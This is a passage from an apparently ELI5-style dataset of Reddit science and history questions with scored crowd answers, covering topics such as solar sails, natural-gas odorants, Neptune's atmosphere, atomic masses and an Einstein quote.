separated by a thin wall, that the thin wall would break as the rock descended into the depths. But for cases where that wall doesn't break, the pressure just isn't great enough.\n\nWhat about the octopuses? Well, the octopuses don't have much air in them. Their \"aluminum\" in this situation is more like an assortment of carbon-based polymers. There is no such thing as an \"octopus lattice structure\", and if we were to describe the hardness of an octopus it might be \"jelly to leather\". Plus, the octopus is mostly water anyways. Well, liquids are very incompressible too. Solids with liquids in between are very incompressible. In fact, I'd say a good rule of thumb is that only gases are practically compressible. And gases are practically compressible because gases are mostly empty space.\n\nWith the sand aside though, I will also say that the Earth's crust *is* extremely compact. As previously mentioned, the pressure of the ocean is derived from the weight of the water, which is derived from the gravity of Earth. A rock is heavier than water, and there's a lot of rocks on the way to the Earth's core. I'm certain that a block of aluminum on the surface wouldn't be the same size as that same block placed in the pressures of deep Earth, but by how much I do not know.\n\ntl;dr: At a certain point, it is really hard to push one atom into another atom.\n\nEDIT: Oh yeah, and I get the feeling someone will say \"But all atoms are mostly empty space too!\"\n\nIf that person is you, then OK, fine you got me - that is true. So how about we say that gases have much more space between molecules before the electrons and nuclei of atoms start to repel each other, and that solids and liquids have much less space and call it a day.", "One real and observable effect of the pressure column is on the size of gas bubbles in lava on the sea floor (J. G. Jones; Pillow lavas as depth indicators; Am J Sci February 1, 1969 267:181-195).\n\nAt greater depth, vesicles have smaller radii."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], []]}
{"q_id": "85vk0o", "title": "With all the advantages Solar Sails have over Fuel, why aren\u2019t they being utilized more?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/85vk0o/with_all_the_advantages_solar_sails_have_over/", "answers": {"a_id": ["dw0gehb", "dw1aljz", "dw1ddrt"], "score": [49, 12, 3], "text": ["Deploying a piece of foil a few tens of microns thick spanning kilometers while in 0g is not easy. Even deploying cables is hard. I don't think anything longer than a few tens of meters have been deployed in space (**wrong**, see comment below).\n\nThey are also not that interesting when you are in Earth orbit because they are too low thrust when deep into a gravity well. And there are not that many interplanetary missions. Those missions also usually have funding for scientific studies and people are reluctant to put their mission in danger with a high risk new tech.", "They\u2019re hard to deploy. As has been said before, for max performance you want ludicrously thin foil, which means it\u2019s incredibly easy to tear/get tangled in deployment, as we don\u2019t have space-based manufacturing yet and can\u2019t just build them deployed. Also, their low thrust leaves something to be desired if you\u2019re trying to escape a gravity well or get captured by one. The highest achievable accelerations without laser arrays are in milli-gees, where rockets can hit multiple gees easily.", "Because of the perceived difficulty, not many have been flown, so the base of experience is small. This year is a good year for solar sails with the Planetary Society's Lightsail 2 and NASA's Near Earth Asteroid Scout. \n\nThe subset of missions with a lightweight probe and inner system trajectory should be a good fit once the bugs are ironed out."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "auo2rb", "title": "why do tech companies like twitter and google need so many software engineers when they\u2019ve essentially provided the same service for years?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/auo2rb/eli5_why_do_tech_companies_like_twitter_and/", "answers": {"a_id": ["eh9bjbn", "eh9blkq", "eh9bv4q", "eh9c8bc", "eh9cyvy", "eh9ho54", "eh9kmds"], "score": [24, 11, 17, 4, 3, 3, 3], "text": ["Because they are constantly expanding the service, adding new features, adding new security, etc. Even basic maintenance requires software engineers. ", "New features, bug fixes, new products, mobile app updates, UI updates, updating old code to use new and more efficient features, backend performance or stability improvements, etc etc etc", "To add a few more: security is probably the biggest one, interoperability with new standards and technologies, and compliance with laws, etc. ", "All the earlier answers are valid. \n\nA big deal is that most software is full of bugs and just sloppy code. Just happens. The more it's used, the more flaws are exposed (and created by updates and fixes). Most companies need people just to fix and document changes even if the software is not being expanded/upgraded.", "Companies are trying to compete by providing the most useful service.   If google stopped improving their search or providing other services another company would eventually develop a search that was just as good.   Then people might switch to that instead of Google.  ", "even if NOT A SINGLE NEW FEATURE WAS ADDED, the OS the apps are talking to are literally a moving target.\n\nSDK features are obsoleted, removed. New processes are required by Apple, Google, etc. THEIR requirements require new code  &  processes to be adhered to.\n\na lot of times, due to the simple advancement of technology, tasks are sped up, so that they don\u2019t need progress indicators, and things can be done real-time.", "These companies grow in customer size year after year, in some cases exponentially. At a certain point (lower than you might think) just adding more servers to your hardware stack is no longer enough to speed up the code, and, as your customer base grows, you will eventually need to make significant code changes and optimizations just to keep the same set of features running at an acceptable speed for your clients."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], []]}
{"q_id": "1ply83", "title": "now that we have hudreds of years of history to look back on, on top of computer technology--why is there such debate on how an economy should be run?", "selftext": "I would think we could look throughout time and see things like varying tax rates vs. a countries economic performance (among hundreds of other economic factors) to figure out the proper way to run an economy. Is the fact that we have a huge globally connected economy and contact changes in technology the issue? ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1ply83/eli5_now_that_we_have_hudreds_of_years_of_history/", "answers": {"a_id": ["cd3n7yx", "cd3nao6", "cd3ncyj", "cd3nsr0"], "score": [20, 7, 6, 2], "text": ["This is like saying that by now we should have more than enough data to fully understand and build a human brain.  No. Just no. \n\nAn economy is a horrendously complex thing. You can't just look at a few variables like that and decide that you've figured it out.  That would be very much like deciding that since we've figured out some relationships between blood pressure and heart disease or between hormone levels and whatever that we should now understand all of human medicine. \n\nSome of the most brilliant mathematicians alive have devoted their lives to trying to model various bits of the markets, and none of them would have the hubris to claim that they've come up with a rigorous theoretical model that explains economics. ", "There are a couple of issues here. First, we have never before been this connected globally to a point where all economies are linked. Its a new phenomenon that hasn't fully been grasped yet. What happens in one country effects the economy in almost every other country. Its pretty amazing actually.  \n\nThe other thing though is that you cannot predict how economies will work, because you can never hold exactly one variable constant. We know what would happen if we increase the tax rate and everything else stays the same. The problem is there is no way to assume that if we change the tax rate that won't also have an effect on production levels, or that a drought won't happen at the same moment and ruin crops across the nation.  \n\nLastly, no two economies are the same. Our economy is nothing like what Rome was, so there is no reason for us to look at Rome's historical data. Much like political policies, what is good for one place is not always good for another. There are just to many factors involved to be able to say that doing X is always a good thing or doing Y is always bad. ", "Opinions and things that are not constant.\n\nOpinions first. Person A thinks everybody should take care for himself, Person B thinks everybody should be taken care of by the state. Two opinions and they both can be right. I mean, you always thought of property as something given, you can \"own\" stuff, you can \"own\" land even, as much as you can pay for, basicly, but who decides that? There are 7 billion people on earth, this number is always rising and you think of yourself as entitled enough to own a great patch of land? To drive a car? To eat meat twice a day, every day in the week? How is that fair? Or maybe you think that this is just the way it is and extracting your share of value from the earth is just alright, you were lucky being born in the white middle-class of the wealthiest country of earth, yes, but nobody is asking someone who one the lottery to split his price, do they? Opinion, opinions, opinions, everybody thinks his way is right, but say one is better than the other in every way is just dumb.\n\nThe other thing is the fact that things are changing all the time. You know these giant metal birds called planes? Unheard of 150 centuries ago. Computers? Nobody had one 50 years ago. Smartphones? Not even a decade old. And tommorow? Will renewable energy will bring power in abundance or will we have to save energy to have enough by solar energy alone? Things that you can hardly know now.\n\nAll in all, markets vary, approaches vary and things don't always fail because they were bad or succed because they were better.", "there are too many variables to account for and they are impossible to control or restrict in order to study even the simplest theories \n\nthink of it this way, for you to run a chemistry experiment you need to isolate compounds, then mix them in a pre-determined ratio, watch the results, etc. when it comes to an economy, you can't isolate say, Fe (iron) because it is always mixed in with a bunch of other elements so you muddle through 'assuming' that say 80% of this mixture is iron and that it is reacting with somewhat a majority of another element called oxygen\n\nbut later on someone else finds out you were totally wrong because that wasn't really oxygen but 50% carbon and 40% iridium and 10% oxygen... \n\nas well, human beings are much more complex (it is our decision making in aggregate that makes an economy) than the first economic theories assumed so the field is growing and adapting to take this in (behavioral economics)\n\n\nsince there is no purely scientific way to isolate and study economics, personalities and persuasive arguments can carry the day - this is best exemplified by [Keynes vs. Hayek](_URL_0_)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["http://www.youtube.com/watch?v=GTQnarzmTOc"]]}
{"q_id": "56yfo3", "title": "my friend ross told me that the smell in gasoline is added to make sure people know its there. how does a \"smell\" simply get added in?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/56yfo3/eli5_my_friend_ross_told_me_that_the_smell_in/", "answers": {"a_id": ["d8ndudj", "d8ndufa", "d8nfdoh", "d8ng921", "d8np2va", "d8ns06k", "d8nvotl", "d8o4qph", "d8o79zd", "d8ob5vx"], "score": [4, 58, 204, 10, 3, 6, 2, 2, 4, 3], "text": ["The odor is actually added to natural gas (as is used for gas appliances), not gasoline.  Natural gas is odorless, which would make gas leaks very dangerous.  So they add a bit of hydrogen sulfide to it.  Our noses are extremely sensitive to hydrogen sulfide, so a tiny bit does the trick and allows us to easily smell when gas is leaking.", "The smell in *natural gas* is added to make it known, as otherwise it is odorless. This is \"added in\" by the addition of an extremely volatile and smelly chemical called \"mercaptan\".\n\nGasoline just smells like gasoline because that is its natural smell. We don't add anything because it is already smelly.", "Gasoline? I'd say that Ross doesn't know shit. \n\nOur noses are pretty sensitive. Natural gas (methane) is odorless and colorless, and a gas leak can turn your house into a bomb. They add tiny amounts of an [oderant](_URL_0_) that don't affect the safety or burning properties of methane, but that we can detect instantly.\n\nA variety of different compounds are possible, but sulfur-based ones are not preferred because the sulfur dioxide produced during combustion becomes acidic when it dissolves in water. ", "The smell of natural gas is added because otherwise it is odorless to humans. This is added by them literally putting volatile chemicals into it. \n\nThe smell of gasoline is the natural smell that it has after it has been created. No additional smell is added. ", "The substance added to natural gas to make it smell is referred to generically as \"stenching agent\".  A few years ago a cylinder of stenching agent fell off a lorry in the city centre and the valve broke off. The gas company got an awful lot of leak reports that day. ", "This is a bad attempt at a subtle FRIENDS reference. It was natural gas.  Not gasoline. Big Fat Goalie. ", "Our noses work by detecting chemicals in the air. Each chemical's structure determines how it is smelt. Some chemicals like **natural** gas have a structure that is not detectable by our noses. Now, since natural gas is well a gas, it is easy to create mixtures with other gases that do have a smell and pump them together through a system or into a container. Gasoline however is a chemical that is detectable by a human nose so it smells like itself.", "No... Your 'friend' Ross was referring to natural gas. _URL_0_", "It's not added to gasoline. Gasoline has its own scent of hydrocarbon.\n\nHe's referring to natural gas. During processing / distrbution, a really smelly compound, usually something like methyl mercaptan or butyl mercaptan, is added to the gas in very small amounts. This causes the gas to have a distinct odor so you can detect a leak.\n\nIf no odorant were added, you'd never be aware of a leak until there was an explosion. That's what happened in the [New London School explosion](_URL_0_), which occured before the times when the odorant was added to gas.  ", "That *gasoline* smell you know and love comes from the aromatics compounds (BTEX), hence their name - aromatics. These molecules are blended into gasoline primarily for octane enhancement, not smell.\n\nYou may be thinking of the natural gas smell. In commercial natural gas, mercaptan, a sulfur compound, is added in ppm quantites to alert people of a gas leak (it has a strong rotten egg smell). Mercaptan is blended into natural gas quite easily."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://en.wikipedia.org/wiki/Odorizer"], [], [], [], [], ["https://youtu.be/kH5JhYsfNMA?t=106"], ["https://en.wikipedia.org/wiki/New_London_School_explosion"], []]}
{"q_id": "4vfu75", "title": "are drop bears real?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4vfu75/eli5_are_drop_bears_real/", "answers": {"a_id": ["d5y1f0u"], "score": [2], "text": ["I just got back from a 3 week trip to Australia, and can tell you right now it is a local myth to scare moronic tourists. There is no 300 pound koala that has a spiked poisonous tale and pounces on people from extremely high elevations to kill and eat them. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "569dpc", "title": "why do brain bleeds (like stroke or aneurysm) kill us? isn't there plenty of other veins in our head that can transport blood around while the broken one heals?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/569dpc/eli5_why_do_brain_bleeds_like_stroke_or_aneurysm/", "answers": {"a_id": ["d8hfi6r", "d8hfppx", "d8hi7o7"], "score": [3, 3, 13], "text": ["The problem with your logic is that if blood stops flowing to that part of the brain until the blood vessel heals, that cells in that part of the brain die. \n\nCells dying from lack of blood flow is also what leads to brain damage after strokes and aneurysms  (provided the patient lives through it) ", "Certain blood vessels deliver blood to specific parts of the brain. If a blood vessel is blocked, the cells in that region aren't going to be getting nutrients or oxygen, and will die. The nervous system doesn't repair itself like other tissues/organs in the body do. So if you have cell death, it's bad. \n\nThe brain does have a good ability to try to adapt to damage, and compensate for loss of function. _URL_1_\n\nHere's a source with the blood vessels of the brain and to which regions they deliver blood: _URL_0_ \n\nAccording to the source above, one of the arteries that supplies blood to the cerebrum is the most commonly blocked one during strokes. More specifically, it supplies blood to the primary motor area for the face and arms, and also supplies blood to the region which has a large role in speech. \n\nAlso: just to clarify terminology, veins carry blood back to the heart. Arteries carry blood away from the heart, to the tissues (*typically* \"fresh\"/oxygenated blood)", "Strokes (like heart attacks) occur when a vessel that supplies blood  becomes blocked, cutting off blood supply distal from the area of blockage and causing cell death. \n\nYou are correct that brain tissue is very vascularized. The brain can be subdivided into main vascular 'territories' that are each supplied by a major cerebral artery. Although a given part of the brain has a 'main' blood supply, it also has other 'collateral' blood vessels that it can draw blood from if the main artery becomes blocked. However, the collateral vessels tend to be much smaller and cannot supply as much blood compared to the major arteries, and thus cannot fully compensate for the loss of a major cerebral artery. So collateral vessels can limit the extent of damage to the brain, but they cannot fully eliminate it.\n\nRegarding brain aneurysms, they are not deadly because of blood loss - most brain aneurysms are quite small, and the amount of blood loss from an aneyrysm rupture is relatively minimal (not enough to kill you). The reason why brain aneurysms are deadly is the blood itself. Blood contains a lot of substances that cause inflammation. Blood has a toxic effect when in direct contact with brain cells. Blood normally does not come into direct contact with brain cells, but when a brain aneurysm ruptures, blood leaks into the subarachnoid space (the fluid pocket in which the brain bathes) and damages brain cells. The inflammatory reaction also causes vasospasm (sudden constriction of blood vessels) which cuts off blood supply to the brain and further damages brain tissue similarly to a stroke."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.strokecenter.org/professionals/brain-anatomy/blood-vessels-of-the-brain/", "https://en.wikipedia.org/wiki/Brain_healing"], []]}
{"q_id": "77ynt1", "title": "A letter from Albert Fish, the serial killer, claims in 1894 in Hong Kong \"So great was the suffering among the very poor that all children under 12 were sold to the Butchers to be cut up and sold for food in order to keep others from starving.\" Is there any evidence to this?", "selftext": "Obviously a notorious serial killer with serious mental health problems and delusions isn't the most reliable source, but the other half of his letter (wrote in 1934) about his murder confession was deemed true.\n\nMore info on the wikipedia (with sources):\n_URL_0_", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/77ynt1/a_letter_from_albert_fish_the_serial_killer/", "answers": {"a_id": ["dopt2a6"], "score": [870], "text": ["This appears to be an unpleasant fantasy. \n\nThe American diplomat WW Rockhill, who was working in the American legation in Beijing in 1894, wrote an extensive study of China's population history for the Smithsonian in 1904. This went into considerable detail on the subject of famine in China during his years in the country. Rockhill does mention an extensive dearth in the north-west of the country in 1892-3, the effects of which were still being felt in 1894 \u2013 \"great drought and famine in Shan-hsi [Shanxi], Shen-hsi [Shaanxi] and Chih-Li [Zhili], and southern Mongolia\" \u2013 but nothing about famine in Canton; none of these regions is anywhere near Hong Kong.\n\nHong Kong was, in 1894, a British colony, so I also did a search of newspapers in the British Newspaper Archive for that year. These reveal that there was a significant outbreak of plague in the city in June of that year, which killed about 1,700 people. The outbreak was covered in a number of British newspapers, which confirms that disasters in Hong Kong would be reported in the British press. It is therefore likely conclusive that not a single story about famine in Hong Kong appeared in the tens of thousands of pages of digitised British newspapers in the BNA for 1894.\n\n**Sources**\n\n[British Newspaper Archive for 1894](_URL_1_)\n\nWilliam Woodville Rockhill, \"[Inquiry into the population of China](_URL_0_)\", *Smithsonian Miscellaneous Collections* 2 (1904)\n\n"]}, "title_urls": [], "selftext_urls": ["https://en.wikipedia.org/wiki/Albert_Fish#Letter_to_the_mother_of_Grace_Budd"], "answers_urls": [["https://repository.si.edu/bitstream/handle/10088/23262/SMC_47_Rockhill_1905_19_303-321.pdf?sequence=1&amp;isAllowed=y", "https://www.britishnewspaperarchive.co.uk/search/results/1894-01-01/1894-12-31?basicsearch=%2Bhong%20%2Bkong%20%2Bfamine&amp;freesearch=hong%20kong%20famine&amp;retrievecountrycounts=false&amp;sortorder=score&amp;page=2"]]}
{"q_id": "4djmmq", "title": "why do all atomic masses have decimals if there are some elements that only have one isotope?", "selftext": "Atomic masses are the weighted average of all the isotopes of the element; hence, the atomic mass is always in decimal form as a fractional average. But if some elements only have one isotope ( as is known (e.g. see  _URL_0_), why would the atomic mass be in decimal form?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/4djmmq/why_do_all_atomic_masses_have_decimals_if_there/", "answers": {"a_id": ["d1rmc1a", "d1rmovk", "d1rpbfg"], "score": [19, 4, 2], "text": ["Every nucleus has a slightly different amount of nuclear binding energy, which contributes to the overall mass in such a way as to make it different from just the sum of the proton and neutron masses ([see here](_URL_0_)). Every isotope except carbon-12 has a non-integer atomic mass when measured in amu (this is because the mole is defined based on carbon-12). After that is taken into account, then comes the isotope averaging.", "Binding energy affects mass. Atoms do not weigh the same as just adding up all the protons and neutrons in them. The only isotope with no decimals, as you put it, is carbon-12. This is because Daltons or 'u' that atomic mass is measured in is by definition 1/12 of the mass of carbon-12, so carbon-12 weighs 12.000... u. Even say oxygen-16 does not weigh 16.000... u, and that's completely ignoring other isotopes of oxygen.  \n\n\nConsider the masses of these isotopes (not a weighted average of an element) for example:\n\n* hydrogen (proton): 1.007 u\n* neutron: 1.008 u \n* helium-4: 4.003 u (1.001 u per nucleon, lighter than both a proton and neutron)\n* carbon-12: 12 u\n* oxygen-16: 15.994 u (0.9996 u per nucleon, note we're now under 1 u per nucleon)\n* iron-56: 55.935 u (0.9988 u per nucleon, actually lowest isotope of them all)\n* uranium-238: 238.051 (1.0002 u per nucleon, note we're going back up again and over 1 u again)\n\nAs you can clearly see, the binding of the atom changes the mass from what that many protons and neutrons all separate would weigh. E = mc^2, the difference in mass between the same amount of protons and neutrons between one arrangement and another is the nuclear binding energy. \n\n\nFrom my short list you can even see why nuclear fission and fusion are *both* reactions that can release energy. You'll note helium is lighter than 2 protons and 2 neutrons. Fusing protons and neutrons to make helium hence losses mass, and this lost mass is released as energy. This is where the sun's energy comes from. \n\n\nOn the other hand, you can see that past iron things start to go up again. By the time we reach uranium, mass per nucleon has went up again. This means that splitting uranium into lighter atoms would actually reduce mass and therefore release it as energy. This is what's behind a nuclear reactor or bomb. ", "Mass is energy, remember. The energy from the strong nuclear force, which binds neutrons and protons together, affects the overall mass of the nucleus. For that reason the atomic mass of a nucleus is not always an exact round number.\n\nAdditionally, protons and neutrons don't have exactly identical masses. Moreover, atoms have electrons, and those have mass too (about 0.55 thousandths of the mass of a proton). By convention the mass of a neutral Carbon-12 atom is taken to be exactly 12.0 atomic mass units.\n\nOne practical use for these mass differences is in high resolution mass spectrometry. In a mass spectrometer you take a sample, which is hopefully all one kind of molecule, then ionize it and use the flight of the molecule through a magnetic field to figure out the atomic mass of the bits. The ionization will cause most organic molecules to break into parts, and that'll leave a characteristic fingerprint in terms of the size of the molecular fragments and their prevalence. For example, water, will fragment into bits of 18, 17, 16, and 1 amu, with the 18 amu fragment having by far the most abundance. From this you can deduce that water is made out of Hydrogen and Oxygen (because of the 1 amu bits and the diff of 1 amu between other fragments and because of the 16 amu fragment and the diff of 16 between some of the fragments), and that then leads you to H2O as the formula, because that gives a mass of 18, the most massive fragment from water. But with more complicated molecules there's a lot more ambiguity because a lot of different molecular fragments that have the same integral amu mass even though they're different (like CH3 and NH). But high resolution mass spectrometry makes it possible to differentiate between different molecular fragments that have the same total number of nucleons. Which means you can look at the mass spec pattern and say \"oh, this fragment here is a CH3, and also the difference between the masses of these other two fragment peaks is also the mass of a CH3, so that's a component\" and so on."]}, "title_urls": [], "selftext_urls": ["digipac.ca/chemical/molemass/isotope1.htm"], "answers_urls": [["http://klotza.blogspot.com/2016/01/cool-calculation-minimum-neutron-star.html"], [], []]}
{"q_id": "2fo1ss", "title": "How do scientists map superclusters?", "selftext": "Ive been hearing a lot about the newly discovered Laniakea supercluster. The biggest question I have is how do we know where we are, and what it looks like. But a bigger question is how do we know there are other superclusters near us, and that ours is right next to perseus-peces. Im 14 so links are helpful when you say things like \"quantum space light time thingy\" lol. Thanks!\n\n_URL_0_", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2fo1ss/how_do_scientists_map_superclusters/", "answers": {"a_id": ["ckba2mm"], "score": [2], "text": ["Maps of things like galaxy clusters (and superclusters) are created by measuring the distances to objects all over the sky.\n\nIf you think about it, when you look at stars on the sky, you are really seeing a 2-dimensional projection of a 3-dimensional universe - all the stars appear scattered across the surface of a sphere that we call the sky.  Making a 2-D map is easy - you just assign a coordinate system to the sky and mark the positions of all the objects.  It's the third dimension, distance, that is tricky.\n\nFor galaxies, especially very distant ones, we don't actually measure distance.  We instead measure something called [redshift](_URL_1_).  Assuming what we know about cosmology is correct, we can then turn redshifts into distances.  Doing this for many galaxies allows one to make a 3D map of the universe like [this one](_URL_0_), and from these maps we look for structure.  It's very easy to see that the galaxies (colored dots) are not randomly scattered, but are clustered together."]}, "title_urls": [], "selftext_urls": ["http://www.dailymail.co.uk/sciencetech/article-2742446/Welcome-Laniakea-3D-map-super-cluster-galaxies-contains-Milky-Way.html"], "answers_urls": [["http://www.newscientist.com/data/images/ns/cms/dn14546/dn14546-1_700.jpg", "http://en.wikipedia.org/wiki/Redshift"]]}
{"q_id": "1legao", "title": "What does Neptune look like at ground level? Would everything be blue or is that just an atmospherical illusion when seen from space?", "selftext": "I can't really comprehend how strange it would be living in a completely blue world and I can't find any actual photos of Neptune. Most of them are just artist conceptions.\n\nEDIT: Thanks for all your answers, I've really learnt a lot!", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1legao/what_does_neptune_look_like_at_ground_level_would/", "answers": {"a_id": ["cbyfe8z", "cbyfhzy", "cbyfqou", "cbyhop0", "cbyjkll", "cbyo0kx", "cbysswh", "cbyv3wx"], "score": [45, 992, 69, 9, 30, 9, 6, 2], "text": ["Assuming \"ground\" level refers to sea level (Neptune is a gas giant with an icy/watery mantle and an iron rocky core), the blue color of Neptune is due absorption of red wavelength by the small amounts of methane (and perhaps other gases) in [Neptune's atmosphere](_URL_0_). Unlike the Earth, where the blue sky is caused by Rayleigh scattering, the blue sky of Neptune would actually make everything look bluish on its surface.", "Neptune is a gas giant, and thus no true surface to speak of. It is much less dense than earth. There is no \"land\" underneath all the gas. The core may possibly be solid, but the temperature there is 1000s of degrees, the crushing weight of the enormous atmosphere is above you, and it would be pure darkness. No light could make it through to the comparatively tiny core in the center.\n\nIts blue because of the colors of the gases that make up its atmosphere. Specifically methane (in an ice like form) makes it have that characteristic blue look.\n\nA [picture](_URL_2_) might help you visualize this. The tiny core is the only place there might be a \"surface,\" but even there, its surrounded by dense and extremely hot fluid, and its likely that it is more of a slow transition from being fluid to something like a solid over a very long distance. The solid state would be the result of the crushing pressure, not because of a hardened/cooled crust that formed over the [surface of earth](_URL_1_) which is why we have land.\n\nEDIT: [Here](_URL_0_) are some real picture of neptune by the way.", "Voyager 2 visited Neptune and its moons in 1989. I was absolutely fascinated by this. There was a TV channel that was showing images from voyager and I think I must have watched it all summer as a 9 year old.  _URL_0_ are some pictures from Voyager 2 and Neptune and its moons. It blew my mind that Neptune had rings as well.", "Have there been any technological developments in a possible gas giant probe?\n\nA rugged balloon of some sort perhaps? ", "Related question:  According to this [diagram](_URL_0_), Neptune's atmosphere only goes about 20% of the way down, at which point there is a water/ammonia mantle.  Wikipedia says the atmosphere reaches pressures of 10 GPa at its lowest extent.\n\nMy question is what does this boundary between the atmosphere and oceanic mantle look like?  Is it sharply delineated like the boundary between the ocean and air on Earth?  Or is the atmosphere more like a supercritical fluid that mixes smoothly with the water in the mantle?", "Neptune's eye, the \"Great Dark Spot\" has the fastest winds in the Solar System, about 1500 mph. What is scarier is that this spot is nearly similar to the Earth's size. Imagine being trapped in this frozen methane hurricane (imagining that you were immortal). ", "Considering that in order to see any color at all you'd need light and that there would be so much gas between you and the sun you wouldn't have any light at all, no, it wouldn't look blue. \n\nIt would just be dark. \n\n....not that your eyes would see very much before the planet's gravity crushed you.", "Would there, then be a \"Goldilocks Belt\" somewhere within the gaseous clouds where the heat from the core would raise temperatures to a habitable level?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.britannica.com/EBchecked/topic/409330/Neptune/54299/The-atmosphere"], ["http://upload.wikimedia.org/wikipedia/commons/thumb/0/0d/The_four_sides_of_Neptune_%28captured_by_the_Hubble_Space_Telescope%29.tif/lossy-page1-545px-The_four_sides_of_Neptune_%28captured_by_the_Hubble_Space_Telescope%29.tif.jpg", "http://upload.wikimedia.org/wikipedia/commons/thumb/e/ee/Earth-crust-cutaway-english.svg/800px-Earth-crust-cutaway-english.svg.png", "http://upload.wikimedia.org/wikipedia/commons/thumb/f/fd/Neptune_diagram.svg/325px-Neptune_diagram.svg.png"], ["http://voyager.jpl.nasa.gov/gallery/neptune.html"], [], ["http://en.wikipedia.org/wiki/File:Neptune_diagram.svg"], [], [], []]}
{"q_id": "2ixdqv", "title": "what einstein meant when he said, \"reality is merely an illusion, albeit a very persistent one.\"", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2ixdqv/eli5what_einstein_meant_when_he_said_reality_is/", "answers": {"a_id": ["cl6dlhd", "cl6dp2c", "cl6dv6t", "cl6fbtz", "cl6fsbu", "cl6i56x", "cl6wi4v"], "score": [70, 2, 22, 2, 5, 6, 3], "text": ["He was referencing the idea that it is impossible to prove that anything exists other than what's in your mind. So, reality can be viewed as only what is in your mind - which can be viewed as an illusion.", "Our animal brain perceives the world as solid objects moved by forces. \n\nBehind the scenes, at the quantum level, matter, energy, abstract concepts such as fields and particles, are impossible to grasp with our senses, although we have access to it through our human mind. All of this is the basis of our reality. ", "20th century science demonstrated conclusively that space, time, energy and matter all operate in ways that are profoundly counterintuitive to the human mind. Our perceived reality bears little resemblance to the outright weirdness that is the quantum world. We are just monkeys with a mind that evolved to solve monkey problems.", "I think he's either making a kind of poignant comment that reality isn't an illusion as such.\n\nMuch like the way the quote that says \"all men are created equal but some are more equal than others\" is effectively saying that this idea that all people are equal is clearly not the way things works but it's doing it with a quote that, read literally, makes no sense. You can't be \"more equal\" than something.\n\nAlternatively I think he's possibly saying that the universe is not a product of our imaginations as some philosophers have often suggested. i.e That he believes there is something outside of ourselves that we are sensing.\n\nBut, it's likely that our perceptions of reality are illusions created by our brain in response to sensory input. i.e what you perceive as 'red' or 'wet' or 'a cat farting' is created by your mind, even though things like light and water and cats exist concepts like 'colours' and 'texture' and 'sound' are perceptions they are not 'real' per se.\n\nAnother alternative is that he's pointing out the idea that our intuitive sense of how things work is markedly different from his theoretical papers (and the work of other physicists) . i.e our sense of reality is an illusion - we don't intuitively understand general or special relativity. We don't feel the movement the Earth makes (i.e we have the sense that we're 'stood still' when not only are we spinning but we're flying through space too)", "Reality as you know it is basically what you observe and what reactions these observations fire up in your brain. \n\nWhat you see is what your brain interprets of the environment. When you see colors, they are really just waves, that your brain \"gives color\" to. \n\nSo isn't that an illusion? Can you really be sure that your \"reality\" is the real one?", "people seem to be taking the words at face-value and making a skeptical/solipsistic interpretation, which seems a little strange to me, altho Einstein of course spoke on a wide range of subjects he was not a philosopher of mind, and if that were the point he was making, it was a pretty old point that had already been made many times.\n\nalso it seems a little incongruous in that Einstein definitely believed the universe was fundamentally coherent, he was a goddamn Spinozist, think of his famous objection to the (in his mind) incoherent theory of quantum mechanics, 'the Almighty does not play dice.' \n\nSo does anyone know the original context of this quote?", "In particular, he did not believe that time exists in the way we perceive it. He had a similar quote that the death of a friend before him was of no consequence \"...for us physicists believe the separation between past, present, and future is only an illusion, although a convincing one.\" [source](_URL_0_)\n\nHe believed the universe was one enormous four dimensional object, rather than one big three dimensional object today and one tomorrow. The special status of the present moment is an illusion. More than a philosophical point, it follows from special relativity. It is impossible to define absolutely simultaneous events, which has odd consequences.\n\nSuppose two people sit in a room and snap their fingers at exactly noon. If they are not moving, it is simple enough. They will both think the events are simultaneous. If they are moving toward each other, both of them will think the other snapped first; if they are moving away, both with think the other snapped second. This is a crazy effect that follows from the time bending effects of relativity. For eli5, let's just say the math is well described and that's how the experiment goes.\n\nIn other words, you can be simultaneous with their future by moving towards them, or simultaneous with their past by moving away. At normal distances and speeds, the effects are very small and we don't notice. Surprisingly, the effects are amplified by distance as well as speed. If you look at a distant galaxy and walk toward it, you would be simultaneous with its distant future, compared to if you walk away. You can choose when to be simultaneous over a broad swathe of their time. How can that be possible unless all of that time 'exists' in some way? What's special about one particular moment for them? And of course, they view our galaxy the same way... it's like our future exists already. It's like all of time exists, in the same way all of the universe exists, even if we can't look at it. The way we think of the present moment is an illusion to us.\n\nIt's possible this idea is incorrect. It would mean the future is already written, which is uncomfortable to some. Einstein had determinist beliefs, which led him to incorrectly disbelieve some of the random aspects of quantum mechanics. However, he admits when he's proven wrong, and this is an idea he held late into his life. It's an idea that is not disprovable, so it's more of a perspective than a scientific theory. In my opinion that's what he meant by the quote."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], ["http://everythingforever.com/einstein.htm"]]}
